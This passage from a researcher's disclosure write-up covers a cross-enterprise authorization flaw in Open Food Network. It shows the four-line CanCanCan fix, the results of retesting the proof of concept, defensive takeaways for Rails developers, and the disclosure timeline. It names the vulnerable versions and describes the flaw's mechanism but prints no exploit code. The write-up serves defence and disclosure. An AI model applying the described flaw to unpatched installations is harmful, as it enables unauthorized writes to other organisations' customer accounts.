The amount is 1.00 and the description is marker for a reason — the goal is to demonstrate the boundary is crossed, not to move money around. A one-cent marker proves the same thing a large transfer would.

The fix

The maintainers shipped PR #14508 and asked me to review it, which I think is the right instinct and does not happen as often as it should. The change is four lines:

def create
  authorize! :create, CustomerAccountTransaction

  customer = Customer.find(customer_account_transaction_params[:customer_id])
  authorize! :update, customer          # <-- per-record check on the resolved object
  ...

The class-level check stays, which is fine — it is harmless on its own. What matters is the second authorize!, which resolves the customer from the body-supplied id and then authorizes that record. Because Customer already carries the enterprise_id scope shown earlier, CanCanCan now refuses the cross-enterprise case for free. The fix reuses the isolation that was already there.

I rebuilt the PR branch locally and re-ran my PoC against it: the cross-enterprise request that previously returned 201 now returns 401, and the target customer's balance stays 0. Same-enterprise transactions still succeed, so the fix isn't over-broad. Verdict: NOT_REPRODUCED on the patched branch.

Shipped in 5.7.4.

Takeaways

Authorize the record, not the class. authorize! :create, Model and authorize! :update, record look like the same defensive habit and defend against completely different things. If a request body contains an id, something must authorize the object that id resolves to.
Hunt the children of guarded parents. When you find a properly scoped resource, the vulnerability is usually one relationship away — in the child records that inherit the parent's data but not the parent's authorization. The asymmetry is the tell.
Treat feature-flag removal as an attack-surface change. Code behind a default-off flag receives less scrutiny, and that debt comes due the moment the flag disappears. When you graduate a surface, re-audit it as if it were new — because for most of your users, it is.
An underscore parameter is worth a second look. def add_..._abilities(_user) is a small, honest signal that a grant ignores the user. In an authorization file, that is worth grepping for.

Disclosure timeline

2026-06 — Found via source review of the CanCanCan ability model, confirmed against v5.7.0, and reported privately through GitHub's private vulnerability reporting.
2026-07-07 — Maintainer opened fix PR #14508 and requested review. Rebuilt the branch and re-ran the PoC: cross-enterprise request now 401, balance unchanged, same-enterprise control still 201.
5.7.4 — Fix released.
2026-07-28 — Advisory GHSA-7cqp-qvh5-7x85 published by the OFN team, High 7.1, credited to me as reporter. CVE pending.

Credit where it is due: OFN triaged, fixed, and published this without any chasing, and looped me into reviewing the patch. That is what a healthy disclosure looks like.

Credit / CTA

If you run Open Food Network, upgrade to 5.7.4+. If you are on 5.7.1 through 5.7.3, note there is no workaround — the feature flag that used to gate this is gone.

If you write Rails and CanCanCan: grep your ability file for can :action, Model with no conditions hash, then check whether the controller authorizes a record or just the class. That pairing is where these live.

Santosh Kumar Puppala — AI/ML Platform Architect and independent security researcher. GitHub: @Santoshkumarpuppala